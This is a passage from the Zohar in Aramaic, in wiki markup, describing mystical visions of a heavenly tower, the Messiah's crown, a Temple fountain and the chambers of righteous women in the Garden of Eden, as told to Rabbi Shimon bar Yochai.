מגדלין) מרגלאן דאבן טבא כלהו. בין כלהו מגדלין אית חד מגדל דאבן טבא באמצעיתא. ודא סליק לרום רקיעא ולא אתחזי השתא עד ההוא זמנא דיתגלי. רב מתיבתא חמא ליה והוה רשים ביה לעילא האי קרא מגדל עז שם יהוה בו ירוץ צדיק ונשגב. ופריש רב מתיבתא קרא דא מגדל עז דא כנסת ישראל &lt;קטע סוף=דף קסד א/&gt;

 
{{ממ זהר משולב|ג|קסד|ב}}&lt;קטע התחלה=דף קסד ב/&gt;בו ירוץ צדיק ביה רעותיה דצדיק תדיר ועל דא ונשגב ההוא מגדל דלא ינפול לעלמין כמה דהוה. ורבי כרוספדאי חמיד לבא פריש האי קרא עד לא אסתלק ופריש שפיר. מגדל עז דא תיבה וס&quot;ת דאיהו עז לשואה ביה ולאפקא ליה מגו היכל דיוקנא דהיכל פנימאה דמניה נפקא תורה וההוא מגדל שם יהוה איהו ודיוקנא דיליה ואצטריך בשית דרגין. בו ירוץ צדיק במאן במגדל או בס&quot;ת. אלא קרא דריש בהאי ובהאי. כד דרש במגדל אצטריך צדיק דא דליהוי חזן הכנסת זכאה דקשוט ודיוקנא דצדיק עלאה. כד דריש לס&quot;ת מאן דסליק לס&quot;ת למקרי אורייתא אצטריך צדיק וצדיק אקרי מאן אקרי צדיק מכלהו. שתיתאה דסליק מאינון שבעה. א&quot;ר שמעון ודאי דאיהו לא סליק כל יומוי אלא שתיתאה לאינון דסלקין. בו ירוץ צדיק בס&quot;ת ירוץ דברי צדיק דא. ונשגב ממאן מדחילו דמלאך המות דהא אוריך יומין. ונשגב דלא יתנזק לעלמין. בההוא מגדל דסלקא בין אינון מגדלין קיימא נהירו חד בדיוקנא דס&quot;ת כד אתי ההוא ציפרא נטלא ההו אמגדל מאתריה וקאים גו אמצעיתא דעזרה גו גדפי דכרובים. הוה (ס&quot;א ומה דהוה) רומיה לרום שמיא מאיך ועאל תחות אינון כרובים ושורוי בין רישי כרובים. תלת מאה פתחין תמן בפתחא דאמצעיתא קיימא נהירו דא דיוקנא דס&quot;ת ביה זמין מלך ישראל למקרי בפרשת הקהל ודא ליהוי מלכא משיחא ולא אחרא. ובההוא ס&quot;ת דההוא נהירו אי חסידא קדישא זכאה איהו דמפומיה ישמעו קל נעימו דמלוי מאינון מלין סתימין דפריש באורייתא. בכל ריש ירחי ושבתי ומועדייא וזמנייא כד בעאן כל בני מתיבתי לסלקא לעילא לגו מתיבתא דרקיעא כלהו מתכנפי לגבי מלכא משיהא ואיהו פריש מלין ומגו מתיקו דמלוי בתיאובתא סלקין כלהו עשר מלין. גניזין לך מאינון מלין דאיהו פריש ליומא דשאלתן דילך כד קיימא ההוא מגדל באמצעו דעזרה. ופתחא דא פתח פתחין ואינון כרובין פומייהו ופרשי גדפייהו ונהיר נהירו עלאה על ההוא פתחא וההוא ס&quot;ת פתיח ואינון כרובים פתחי ואמרי מה רב טובך אשר צפנת ליראיך וגו'. סגירו פתחין וס&quot;ת אתגליל מאן חמא נהירו דנהרא דההוא ס&quot;ת כוליה נהורא דנהיר אתוון דיליה שלהובי דאשא מד' גווני דאינון דעלמא עלאה כלהו בלטי ומנצצי לית מאן דיכיל למיקם בהו בר משיח. סגיר פתחא דא כרובים משתככי. וההוא מגדל פרח וקיימא באתריה בין שאר מגדלין. בההוא פתחא דאמצעיתא אית עטרה דפז עלאה ויקירא גניזא דלא אתחזי השתא גליפא ומחקקא בכל זיני אבני יקר וזמינא למהוי על רישא דמלכא משיחא כד סליק בההוא מגדל ותרין נשרין דא מסטרא דא ודא מסטרא דא נטלי ליה בידייהו כד סליק מלכא משיחא מתתקנין נשרין ונטלי עטרא דא בשעתא דישרי למקרי יתפתח פתחא אחרא ומתמן תפוק ההיא יונה דשדר נח בימי טופנא. דכתיב {{צ|וישלח את היונה}} - {{צ|היונה}} - ההיא דאשתמודעא ולא מלילו בה קדמאי ולא ידעו מה היא אלא מהכא נפקת ועבדת שליחותא. ובשעתא דכתיב {{צ|ולא יספה שוב אליו עוד}} - לא ידע בר נש לאן אזלת והיא תבת לאתרה ואתגניזת בפתחא דא ואיהי תטול עטרה בפומהא ותשוי על רישיה דמלכא משיחא מטי ולא מטי. וכדין כתיב {{צ|תשית לראשו עטרת פז}} {{ממ|תהלים|כא|ד}}. וכיון דיקרי מלכא משיחא בס&quot;ת יקומון תרין נשרין דא מכאן ודא מכאן ויונה מאיך ומלכא משיחא נחית ועטרה על רישיה עד דרגא בתראה ותרין נשרין פרחין לעילא על רישיה ויונה תבאת &lt;קטע סוף=דף קסד ב/&gt;

 
{{ממ זהר משולב|ג|קסה|א}}&lt;קטע התחלה=דף קסה א/&gt;ועטרה בפומה ויקבלון לה אלין תרין נשרין. דוד מלכא זית רענן אקרי קמיה קב&quot;ה דכתיב {{צ|ואני כזית רענן בבית וגו'}} {{ממ|תהלים|נב|י}}. עלה זית דא מלכא משיחא בריה דדוד ודא איהו דרמיז יונה דא ביומו דנח דכתיב {{צ|והנה עלה זית טרף בפיה}} {{ממ|בראשית|ח|יא}}. ההוא עלה זית טרף וחטף ליקרא דיליה במה בפיה דקיימא על רישיה ומקבלא יקר מהאי יונה והאי דכתיב {{צ|טרף}} ולא &quot;טרפה&quot; (אלא) כדכורא דא דעביד חילא ונצח. במתיבתא דרקיעא יונה דכר הוא מגו דאקרי יונה כתיב כנוקבא וכתיב כדכורא בזמנא דמקבלא יקר (חסר) דא מגדל דא כד תב לאתריה נהיר כנהירו דעינא דשמשא דכתיב {{צ|כסאו כשמש נגדי}} {{ממ|תהלים|פט|לז}}. ואף דכרסייא אחרא ליהוי ליה בנסין ואתין רברבין. בריש מגדל דא אית עופין דנור (ס&quot;א דרורא) דקא מצפצפאן כד סליק צפרא צפצופא דנעימו דלית נעימו ונגונא כההוא נעימו. לעילא מכלהו זינין אחרנין ושפנינין אחרנין דקא פרחין באוירא סלקי ונחתי נחתי וסלקי לא משתככין לעלמין. אתוון רברבן ואתוון זעירן פרחין בינייהו. אי חסידא קדישא בשעתא דאתוון פרחין חמי ב&quot;נ מאתוון רברבן כתיב באוירא לפום שעתא. {{צ|בראשית ברא אלהים את השמים ואת הארץ}} (והארץ היתה תהו ובוהו וגו' מהכא אהדרי אתוון רברבן כמלקדמין) בטשי אתוון זעירן בהו. ופרחין ואתחזי מנייהו כתיב {{צ|ויאמר אלהים יהי אור וגו' וירא אלהים את האור וגו'}}. לבתר מהדרי אתוון זעירן ובטשי באתוון רברבן ומתחזי מנייהו דכתיב {{צ|ויאמר אלהים יהי רקיע וגו'}}. וכן כל עובדא דבראשית פליאן רברבן וחדו לעיינין עובדאן דאתוון אלין זכאה עמא דכל דא מחכאן אי חסידא קדישא מאן דנטיר ברית שוי ליה אבתרוי ואיהי לקמא ואי תימא מאן נטיר לאחורא הא נטירו רב ועלאה מכלא דנטיר ליה. ומאן איהו צדיק עלאה ברחימו סגי. עאל בין צדיק וצדק ואשתכח נטיר מכל סטרין. זכאה מאן דנטיר ברית דא ועל דא ישראל אתחזון כל דכורין דנטרין את קיימא דא קמי מלכא קדישא. מאן איהו דיכיל לנזקא לברא דאיהו באצע ואבוה מכאן ואמיה מכאן ואיהו בינייהו ודא כד איהו אחרי יי'. 

תא חזי ההוא רקיע כד סחרא בגלגולא מנגנא בנגונא ומקל נהימו דמיין דנבעין לא ידיע ההוא נגונא כל אינון אגנין די בארבע סטרין מליין מנביעו דמיין דנבעין מאן דאיהו לגו בתרין סטרין קיימא תמן. חד בחדוה דלית חדוה כההיא חדוה בעלמא לקיימא (שם ק) עבדו את יהוה בשמחה. וחד ביראה דלית דחילו כההוא דחילו בעלמא לקיימא עבדו את יהוה ביראה חד מעיינא דמייא דנביע מסטר מזרח דא הוא דאמר יחזקאל נביאה מהאי מעיינא לא יכלין לסיימא שבחא כל בני עלמא באתר דאתייליד תמן לסטר מזרח לית עומקא ורומא דיליה אלא זרתא ולא יתיר כד נבעין מיא וסלקין סלקין כל זיני מרגלאן דעלמא ולא נפלין לבר השתא אתחזון בגוון חד לפום שעתא נפלין אלין והא סלקין אחרנין כגוון אחרא בכל זיני גוונין דעלמא נפלי אינון מרגלאן ולא נפלי לבר. סחרנין דההוא נביעו חיזור ושושן סחרין ולא יכלין כל בני עלמא למיקם על אינון גוונין כלהו שלהובין מלהטאן ולא יכלין לאסתכלא בהו לא ידיע חשיבו דעובדא טרפין דלהון מנצצן בכמה גוונין עובד ציור אומנו דמארי עלמא חפיין על תלתמאה ושבעין וחמשה כרובין דתחותייהו בתר שבכין אחרנין לגו. ואינון שבכין סחור דעזרה לגו. ולעילא מנהון אינון &lt;קטע סוף=דף קסה א/&gt;

 
{{ממ זהר משולב|ג|קסה|ב}}&lt;קטע התחלה=דף קסה ב/&gt;גופנין פרישאן תחות גופנין אינון כרובין כלהו גדפין פרישן משלבן אלין באלין. הכא אמר רב מתיבתא דכל מאן דאסתכל באינון גופנין מנהרין אנפוי כנהירו דשמשא אינון שבכין דאתחמן סחור סחור דעזרה כלהו מרקמן בחוטין דנהרין בגוונין סגיאין מלהטן בד' מיני זהורין דאשא שלהובין סלקין וגוונין מנצצן ולזמנין שלהובין משתככי ונהורין וגוונין סלקין ובטשי אלין באלין שית אלף אגנין לגבי אינון שבכין ד' גוונין לד' סטרין דעזרה אלין אינון רברבין ונביעו דמיין חיין בכל סטרי. ואינון נפלי באינון אגנין ובלעי באתרייהו ואלין מיין לא ידעי לאן אזלין. באמצעו דעזרה יקומון כלהו ישראל ויתחזון קמי מלכא קדישא. בסטר דרום בעזרה דא אתייליד חד מעיינא דמיא ואתרמי (ס&quot;א ואתרמי) (ס&quot;א ואתרבי) דקא ישטפון מיא כל עלמא. מאן דייעול בהו יהון עד ברכים ייעול בהו גיבר רב ייעול בהו עד ברכים אי תינוק בר יומא עד ברכים מאן דשתי מנייהו יתחכם ויתפקח בחכמתא. מעיינא דא נפיק מגו מרגלא חדא דזעירא בכותלא דדרום אינון מיין בלעי' גו אתרא (ס&quot;א גו אתר דא) ומתמן יפקון לבר מקדשא עד דיעלו לנחל שטים ישטפון ההוא זמה דאולדין מיא דשטים. ועל דא מיין אלין בעזרה בגין אינון דאתחזון תמן דכורין הוו שתאן מן מיא לא חיישי בנוקבי. במיתיהון לאתחזאה קמי מלכא קדישא. תו דהא יתפקחון למנדע מלין סתימין דמלכא עלאה גו מקדשא דא כל הרהורין ישתכחון בר הרהורא דחדוה דמלכא קדישא. ענפא חד נפיק וגו אמצעו דההוא מעיניא. אמר רב מתיבתא כד קריבנא לההוא ענפא גו מעיינא אסתלק ענפא לעילא לעילא כל מה דקריבנא הכי אסתלק יסודא ושרשא דההוא ענפא לאו איהו אלא במיא. ההוא ענפא חפי עלמין כל גוונין דעלמא באינון טרפין דיליה איבא דיליה לא ידיע מהו ולא יכלין למנדע ואמר דקא שאיל למשיח על ההוא איבא ואמר איבא דא גניז לאיש משענתו בידו מרוב ימים מאן דזכי למנדע דא לינדע. רקיע חד אית על ההוא ענפא פריש לעילא מההוא רקיע אזיל טלא ע&quot;ג מעיינא דא ול איתיר. כד אסתכל בר נש לההוא רקיע מרחיק דמי תכלא. קריב יתיר דמי סומקא. קריב יתיר דמי ירוק קרוב יתיר דמי חוור דלית חוור בעלמא כגיניה. טלא דקא אזיל מניה אשתאיב בההוא ענפא ועביד איבא דא ואתרבי ההוא רקיעא איהו אזיל בגלגולא יתיר ממה דעיינין יכלין לאסתכלא כל אינון נטורי קיימא קדישא (ס&quot;א בעון) דבעון לאתחזאה קמי מלכא דהא לא אתחזון אלא בגין לאחזאה דאינון בני גזירו קדישא ועל דא {{צ|יראה כל זכורך}} - אינון בני קיימא קדישא. דייק רב מתיבתא {{צ|זכורך}} ולא &quot;זכרך&quot; דהא זכר כתיב ולא זכור מאי {{צ|זכורך}}? אלא כל אינון דנטרין קיימא קדישא ולא חבאן ביה אינון הוו בני מלכא דבכל יומא משתכח בהו ודכיר לון תדיר. ועל דא {{צ|זכורך}} - ההוא דאית ביה קיימא קדישא דדכיר לון מלכא בכל יומא דלית שבחא קמי מלכא עלאה (אלא) כמאן דנטיר קיימא דא ועל דא בעי דיתחזון תלת זמנין בשתא קמיה. תלת זמנין אמאי אלא בגין אבהן קדמאי דקבילו להאי ברית קדמאה לכל פקודין דאורייתא ובגין כך תלת זמנין אינון בשתא. אברהם קביל בריח. יצחק קביל בריח. יעקב הוה שלים מכלהו ועל דא כתיב ביה {{צ|ויעקב איש תם}} - שלים מכלא. אברהם {{צ|תמים}} אקרי ולא הוה כ&quot;כ שלים אבל {{צ|תם}} שלים מכלא. מה כתיב בנח {{צ|איש צדיק תמים היה בדורותיו}} דהוה רשים ברשימו קדישא בינייהו. ואמר רב מתיבתא בכל אתר דכתיב {{צ|תמים}} - דרשים ברשימו קדישא באת קיימא דברית ובגין &lt;קטע סוף=דף קסה ב/&gt;

 
{{ממ זהר משולב|ג|קסו|א}}&lt;קטע התחלה=דף קסו א/&gt;דנטר בריתא קרי תמים בדורותיו מה דלא הוו כלהו הכי דאינון מחבלן ארחייהו ועל דא כתיב {{צ|את האלהים התהלך נח}}. וכי מאן יכיל למיהך עמיה. אבל כל מאן דנטיר בריח קדישא אזדווגת ביה שכינתא ושריאת עליה ובגין כך תמים תהיה עם יהוה אלהיך. תמים תהיה ולבתר עם יהוה אלהיך בזווגא הדא דכיון דנטיר ברית דא עם יהוה להוי ולא אתפרש מניה. באברהם כתיב {{צ|התהלך לפני והיה תמים}} גזירו דאת קיימא. {{צ|התהלך לפני}} - מהכא דלא יהך גברא בתר אתתא אלא קמהא ארח כשר איהו והא כתיב {{צ|הנה אנכי שולח מלאך לפניך}}. ושלחתי לפניך מלאך. לאברהם דלא הוה גזיר דחה ליה לקמה. ועל דא לא כתיב &quot;היה תמים והתהלך לפני&quot;, אלא {{צ|התהלך לפני}} - דלא יאות אנת עד שתהא תמים וכן בכלהו כיון דבר נש תמים ונטיר ליה מיד היא לקמיה ואיהו אבתרה כשר איהו לדא. לגרעונא מה כתיב {{צ|כי שב מאחרי}}. נח גזיר הוה ותמים. פריעה לא הוה ביה ובגין דלא הוה ביה פריעה מה כתיב {{צ|את האלהים}} ולא &quot;אחר האלהים&quot; לקמא לא הוה בגין דהוה גזיר. לאחורא לא הוה בגין דלא אתפרע. איך הוה את האלהים סמיך ליה ולא יכיל לאסתכלא ביה דלאו כשר כ&quot;כ. בישראל כתיב {{צ|ויהוה הולך לפניהם יומם בעמוד ענן ולילה בעמוד אש וגו'}}. כיון דאמרו ישראל {{צ|המבלי אין קברים במצרים וגו'. כי טוב לנו עבוד את מצרים}} - כביכול אתחלש דעתא. כתיב {{צ|ויסע מלאך האלהים ההולך לפני מחנה ישראל וילך מאחריהם}}. ויסע למעבד בהו נוקמין (חסר) 

ועל דא חדי משיח וחדי רב מתיבתא דקא אתבשר בדא ואמר רב מתיבתא דהא דייק למשיח ואמר מנא הוה לדניאל דקאמר פריס פריסת מלכותך ויהיבת למדי ופרס מאינון אתוון דופרסין אשתמע ליה והכא מאי הוא א&quot;ל הכי הוא ודאי פריס פריסת מלכותך חייבא ע&quot;י דמשיח אחרא ולבתר ישלוט מלך פרס ויטול מלכוון סגיאין והוא ישלט על ארעא קדישא תריסר ירחי והוא ישלוט ויקטול סגיאין וההוא משיחא ולבתר יפול ויקבלון מלכותא קדישי עליונין. ועל דא ופרסין מלכא דפרס אשתמע הכא. אי חסידא קדישא כמה חדוה על חדוה בההוא מעיינא. בההוא מעיינא מגדלא כל זיני אילנין דנציב קב&quot;ה בג&quot;ע וכלהו קיימי לאסוותא טרפין ואיבין וענפין ולחדו לבא תדיר. ולית בינייהו כפנא ודאגה ואנחה לעלמין. זכאה עמא דכל דא מחכאן. וכל דא גניז לון. אמר ר' שמעון בקרקע דהאי מקדשא אית מאלין פליאן. א&quot;ל אי רבי אי ר' זכאה חולקך דכל האי. בההוא ע&quot;ג ההוא מעיינא דקימא אבל לית מאן דיכיל לאסתכלא ביה לזמנין נהירו דיליה נהורא. לזמנין חשוכא לזמנין גוון ארגוונא מנצצן דלא יכלין עיינין לאסתכלא. לעילא (ס&quot;א ההיא) היא דשאלת חסידא קדישא מההוא קרקע דמקדשא. רב מתיבתא לא פריש מניה דהא גניז איהו גו ירדנא והא אמינא לך מה דאמינא אבל נשאל מלה דא ותנדע מה דתנדע ירדן דא עאל ואתמשך זמנא חדא בשתא גו ההוא נהר דנפיק מעדן לאו מאינון ארבע נהרין דאתמשכן מניה אלא ביה ממש כיון דמטי לגביה איהו אתמשך ואתפשט ועאל גו ירדנא. וכיון דמטי גו קרקע דמקדשא אשתכך תמן תלת יומין ולא אתפשט ולא אתמשך לאתר אחרא. ואמר רב מתיבתא דכד אהדר ההוא נהר לאתריה שביק תמן כל זיני ציורין דקא עביד קב&quot;ה בג&quot;ע דאינון ציורין גניזין דתחות דוכתייהו (חסר) 

אלין הכא ואלין הכא וסלקי ונחתי כדקדמיתא. בההוא סטר דרום אית תלת מאה וחמשין עמודין מכל זיני מרגלאן ואלין אינון דנהרין תדיר ונטפין בוסמין טמירין דלא אתגלו לעלמין ארבע אגנין בכל &lt;קטע סוף=דף קסו א/&gt;

 
{{ממ זהר משולב|ג|קסו|ב}}&lt;קטע התחלה=דף קסו ב/&gt;עמודא ועמודא נעיצין וכד אינון בוסמין נטפין מאינון עמודין נפלי בהו ואתמליין בלהו אגנות ולא נפקין בוסמין לבר מאינון בוסמין זמינין לזמנא דאתי לאקטרא בכל יומא קטורתא קמי מלכא קדישא דלא יהוו מכתישו דבני נשא אינון בוסמין לא ידיע עקרא דלהון וממה הוו אלא מאינון עמודין נפלין תמן תרין נשרין בכל עמודא ועמודא מתנצצן מתלהטין בכל גוונין שבע מאה נשרין אינון פרחין אלין הכא ואלין הכא בגלגולא דעמודין. כד אסתחרן לא יכלין עיינין לאסתכלא דוכתא דבהו. תלת אתוון בלטין ופרחין מפומא דא לפומא דא. בגלגולא דעמודין ונשרין כל אינון אתוון מרקמן באשא חוורא ודהבא ירוקא. תרין אלפין ומאה מנרתין תליין בין אינון עמודין ותרין אלפין ומאה שרגין בכל מנרתא ומנרתא דלקין ביממא ובליליא מתדעכי על צערא דישראל. כד אתי צפרא דלקין כלהו מגרמייהו. אדהוו יתבי אמרי הא רמש ליליא. 

א&quot;ל לר&quot;ש אי חסידא קדישא נהירו דעלמא טול פנקסא דאחמתא דא וטול שרגא וכתוב מלין אלין דהא מטא זמנא דילן לפקדא כל חד וחד לגו קבריהו. עד פלגו ליליא דקב&quot;ה עאל גו גנתא לאשתעשעא בהדי צדיקייא וכדין כל חד וחד פרח לתמן. ולמחר נהוי גבך הואיל ויהבו לן רשו לאשלמא דורונא דקא משדרי לך. פרחי. בכה ר&quot;ש וגעא. פתח ואמר אילת אהבים ויעלת חן דדיה ירווך בכל עת באהבתה תשגה תמיד. אורייתא אורייתא נהירו דכל עלמין כמה ימין ונחלין ומקורין ומבועין מתפשטי מנך לכל סטרין מנך כלא עלך קיימי עלאין ותתאין נהירו עלאה (בדא) מנך נפקא. אורייתא אורייתא מה אימא לגבך אילת אהבים אנת ויעלת חן (גבי) עילא ותתא. רחימין דילך מאן יזכי לינקא מנך כדקא יאות אורייתא אורייתא שעשועים דמארך מאן יכיל לגלאה ולמימר סתרין וגניזין דילך בכה ואעיל רישיה בין ברכוי ונשק לעפרא אדהכי חמא כמה דיוקנין דחברייא סחרניה. 

א&quot;ל לא תדחל בריה דיוחאי לא תדחל בוצינא קדישא כתוב וחדי גו חדוה דמארך. כתב כל אינון מלין דשמע בההוא ליליא ולעא לון ולהג לון ולא אנשי מלה. וההוא שרגא נהיר קמיה כל ההוא ליליא עד דאתא צפרא. כד אתא צפרא זקף עינוי וחמא חד נהירו דהוה נהיר ברקיעא מאיך עינוי לתתא אהדר כמלקדמין וחמא נהירו בכל רקיע דנהיר וסליק בההוא נהירו דיוקנא דביתא בכמה ציורין. חדא ר&quot;ש ולפום רגעא אגניז ההוא נהורא. אדהכי הא אינון תרין שליחן אתיין. אשכחוהו רישיה בין ברכוי. אמרו ליה שלמא עליה דמר שלמא למאן דעלאין ותתאין בעאן לאקדמא ליה שלם. קום. קם ר&quot;ש וחדא בהו. אמרו ליה ולא חמית נייחא דרוחא דעבד לך מארך חמית נהירו דביתא ברקיעא אמר לון חמינא. אמרו ליה ביה שעתא אפיק תהומא בי מקדשא ואעבריה קב&quot;ה בימא רבא ומנהירו דיליה הוה נהיר ברקיעא. אמרו ליה רב מתיבתא בעא בשלמך והא ידע דאנן שליחן לגבך. וכמה מלין חדתין עתיקין אתחדש באורייתא בהאי ליליא. אמר לון במטו מנייכו אמרו חד מלה מנייהו. אמרו לא אתייהיב לן רשו למאי דאתינן לגבך אבל מלה חדתא הוה לגבך השתא. פתח רב מתיבתא ואמר ויאמר יהוה אל אברם לך לך מארצך וגו' דא בגין דאתנהרא ביה נהירו כגוונא דא. מאן דלא זכי באתר דא יהך וינטל גרמיה לאתר אחרא ויזכי ביה. אעא דדליק ונהורא לא סליק ונהיר ביה. ינענעון ליה ויסלק ביה נהורא ואנהיר. וחוינן זמינין למשמע. אבל בגין למיתי גבך &lt;קטע סוף=דף קסו ב/&gt;

 
{{ממ זהר משולב|ג|קסז|א}}&lt;קטע התחלה=דף קסז א/&gt;לא בעינן לאתעכבא. חדי ר' שמעון אמרו ליה אי חסידא קדישא כל מלין די כגוון באורייתא מלין זעירין אינון בכל מלה ומלה ואינון מלין זעירין כמה אינון מלין רברבין ועלאין עד דלית לון שיעורא דהא לית בגוון ספקא אלא ברירו דאורייתא על בורייה והשתא רב מתיבתא פריש מלין סתימין על דא בגין דעקרא דנשמתא אמאי לא נהיר באתר דא וזכי לאתנהרא באתר אחרא. ועד כען לא זכינן בהו בגין למיתי גבך. ומלה אחרא זכינן למשמע מניה. רוחא דאזלא בערטורא בההוא עלמא בלא בנין אנתתיה יתעביד ליה מאנא לאתבנאה איהו. מאי טעמא אנתתיה איהי שרגא דאתדליקת מניה ותרווייהו שרא חדא הוו נהורא דא נפק מנהורא דא אתדעך דא אתדליק מגו נהוריה ממש בגין דחדא נהורא הוו. השתא רבי נהדר למלין קדמאין וכד נהדר לאתרין נטול רשו מרב מתיבתא באינון מלין דנקבל מניה ונימא קמך. זכאה חולקך דאת זכי לנהורין סתימין מכל סטרין מעילא ומתתא מהאי עלמא ומעלמא אוחרא. אמר ר' שמעון מלה חדא בעינא למנדע אי תיכול לאודעא לי. נשין בההוא עלמא אי זכאן לסלקא לעילא או היך אינון תמן. אמר לי' אי רבי אי רבי. בדא אית לן רזא יתירא (ס&quot;א יקירא) בגין דלא לגלאה סתרין דתמן. אבל דא יהך ויטול רשו ונימא לך. אדהכי פרח חד. ואתכסי מנייהו ואזל ליה ולפום שעתא תב לגבייהו אמר לון זמינא הוינא למיעאל והוו כלהו בעטורא חדא דדייני דינא דחד בר נש דקאים על פתחא דגן עדן ואינון כרובין אחידו ביה ולא שבקו ליה למיעאל תמן והוה בצערא בינייהו וצווח צווחין על גבי פתחא ושמעו כולהו צדיקייא דתמן והשתא הוו מתכנפי כל בני מתיבתי למיעאל לגבי מלכא משיחא לעיינא בדיניה. ואתינא לאודעא לכו ודא חבראי אצטריך למהך תמן דכרוזא הוה אעבר בכל אינון בני מתיבתי דליהוון כנישין השתא קמי משיח. נטל פתקא חדא ויהב לר' שמעון. אמר טול דא ועיין במה דתמן עד דניתי גבך. פרחו תרוייהו ור' שמעון נטל פתקא וחמא מה דמא ברזין דתמן כל ההוא יומא. בליליא חמא שרגא ונפיל ביה שינתא ודמך עד צפרא. כד נהר יממא קם ופרח ההוא פתקא מניה והא אינון תרווייהו אתיין אמר ליה קום רבי זכאה חולקך קום בגינך חמינן וזכינן לכמה סתרין עלאין כמה חדוה אחזיו לן כד יהבו רשו לגלאה לך כל מה דאת בעי. ריש מתיבתא עלאה נפק לגבן. ואמר שאילו בשלמיה דבר יוחאי אתריה דבר יוחאי הא פנו ליה מכמה יומין לית מאן דיקרב לגביה זכאה איהו. רבי רבי כד פרחנא מגבך (בגינך) עאלנא וחמינא כל בני מתיבתי דהא מתכנפי לגו היכלא חדא דמשיח תמן ודיינו דינא דההוא בר נש דקאים על פתחא שמיה לית לן רשו לגלאה. אצטער ר' שמעון על דא. אמר ליה לא תצטער רבי על דא אנת תדע בדא ליליא בחלמך. אבל דינא דיינו עליה דגזר משיח דלהוי ההוא בר נש לבר בההוא צערא ארבעין יומין. לסוף ארבעין יומין יצערון ליה בדינא בצערא דגיהנם שעתא ופלגא. וכל דא בגין דיומא חדא חד מן חברייא הוה פריש מלין דאורייתא כד מטא לחד מלה ידע האי בר נש דיתכשל ביה ואמר לחברייא שתוקו לא תימרון מדי ובגין דשתיקו חברייא אתכשל בההוא מלה ואכסיף וההוא כסופא דגרים האי בר נש דיינין ליה בהאי דינא &lt;קטע סוף=דף קסז א/&gt;

 
{{ממ זהר משולב|ג|קסז|ב}}&lt;קטע התחלה=דף קסז ב/&gt;קשיא בגין דלא בעי קב&quot;ה לשבקא חובא דאורייתא אפילו כמלא נימא. דיינו דיניה ונפקו כל בני מתיבתא ואנא שאילנא רשו. דהא בריה דיוחאי שאיל שאלתא דא ועל דא אחזיו לי מה דלא ידענא מקדמת דנא. אי רבי שית היכלין אחזיו בכמה ענוגין ועדונין באתר דפרוכתא פרישא בגנתא. דהא מההוא פרוכתא ולהלאה לא עאלין דכורין כלל. בהיכלא חדא אית בתיה בת פרעה וכמה רבוא ואלפי נשין זכיין בהדה וכל חדא וחדא מנייהו דוכתין דנהורין ועדונין בלא דחקא כלל אית לה תלת זמנין בכל יומא כרוזי אכריזו הא דיוקנא דמשה נביאה מהימנא אתי ובתיה נפקת לאתר דפרגודא חדא דאית לה וחמאת דיוקנא דמשה וסגידת לגביה ואמרה זכאה חולקי דרביתי נהירו דא. ודא איהו ענוגין דילה יתיר מכלהו אהדרת לגבי נשין ואשתדלן בפקודי אורייתא כלהו באינון דיוקנין דהוו בהאי עלמא בלבושא דנהורא (ס&quot;א כלבושא) בלבושא דדכורין בר דלא נהרי הכי. פקודין דאורייתא דלא זכו לקיימא לון בהאי עלמא משתדלי בהו ובטעמייהו בההוא עלמא. וכל הני נשין דיתבין בהדי בתיה בת פרעה אקרון נשים שאננות דלא אצטערו בצערא דגיהנם כלל. בהיכלא אחרא אית סרח בת אשר וכמה נשין רבוא ואלפין בהדה. תלת זמנין ביומא כריזין קמה הא דיוקנא דיוסף צדיקא אתא ואיהי חדאת ונפקת לגבי פרגודא חדא דאית לה וחמאת נהירו דדיוקנא דיוסף וחדאת וסגידת לגביה ואמרת זכאה האי יומא דאתערית בשורה דילך לגבי סבאי לבתר אהדרת לגבי שאר נשין ומשתדלן בתושבחן דמארי עלמא ולאודאה שמיה. וכמה דוכתין וחידו אית לכל חדא וחדא ולבתר אהדרן לאשתדלא בפקודי אורייתא ובטעמייהו. בהיכלא אחרא אית יוכבד אמיה דמשה נביאה מהימנא וכמה אלפין ורבבן בהדה. בהיכלא דא לא מכרזי כלל אלא ג' זמנין בכל יומא ויומא אודת ומשבחת למארי עלמא איהי וכל אינון נשין די בהדה ושירתא דימא מזמרין בכל יומא ואיהי בלחודהא אמרת מהכא ותקח מרים הנביאה וגו' את התוף בידה וגו' וכל אינון צדיקייא די בגן עדן צייתין לקל נעימו דילה. וכמה מלאכין קדישין אודאן ומשבחן עמה לשמא קדישא. בהיכלא אחרא אית דבורה אוף הכי וכל שאר נשין בהדה אודן ומזמרן בההיא שירתא דאיהי אמרת בהאי עלמא. אי רבי אי רבי מאן חמי חדוה דצדיקייא ודנשין זכיין דעבדין לגבי קב&quot;ה. לגו לגו דאינון היכלין אית ארבע היכלין טמירין דאמהן קדישין דלא אתמסרן לאתגלאה ולית מאן דחמי לון. בכוליה יומא אינון בלחודיהון כמא דאמינא לך וגובירן אוף הכי ובכל ליליא אתכלילן כלהו כחדא בגין דשעתא דזווגא איהו בפלגות ליליא בין בהאי עלמא. בין בההוא עלמא. זווגא דההוא עלמא אתדבקותא דנשמתא נהורא בנהורא זווגא דהאי עלמא גופא בגופא וכלא כמה דאתחזי זינא בתר זיניה זווגא בתר זווגא גופא בתר גופא זווגא דההוא עלמא נהורא בתר נהורא. היכלין דארבע אמהן אקרון היכלין דבנות בוטחות ולא זכינא בהו למחמי. זכאה חולקהון דצדיקייא גוברין ונוקבי דאזלי בארח מישר בהאי עלמא. וזכאן לכלהו ענוגין דההוא עלמא. אי רבי אי רבי אלמלא בר יוחאי אנת לא אתמסר לגלאה. זווגא דההוא עלמא אתעביד איבא &lt;קטע סוף=דף קסז ב/&gt;

 
{{ממ זהר משולב|ג|קסח|א}}&lt;קטע התחלה=דף קסח א/&gt;יתיר מאיבא דאתעביד בהאי עלמא בזווגא דלהון בזווגא דההוא עלמא בתיאובתא דלהון כחדא כד מתדבקן נשמתין דא עם דא עבדי איבין ונפקי נהורין מנייהו ואתעבדי שרגין. ואינון נשמתין לגיורין דמתגיירין וכל הני עיילין להיכלא חדא. וכד מתגיירא גיורא חדא פרחא מההוא היכלא נשמתא ועאלת תחות גדפהא דשכינתא ונשקת לה בגין דאיהו איבא דצדיקייא ומשדרת לה לגו ההוא גיורא ושראת ביה. ומההוא זמנא אקרי גר צדק. והיינו רזא דכתיב {{צ|פרי צדיק עץ חיים}} מה אילנא דחיי אפיק נשמתין. אוף הכי צדיק איבא דיליה עביד נשמתין. רב מתיבתא אמר כתיב {{צ|ותהי שרי עקרה אין לה ולד}}. ממאי דאמר ותהי שרי עקרה לית אנא יודע דלית לה ולד מאי אין לה ולד. אלא הכי אמר רב מתיבתא ולד לא הות מולדא. אבל נשמתין הות מולדא באתדבקותא דתיאובתא דאינון תרין זכאין הוו מולידי נשמתין לגיורי כל ההוא 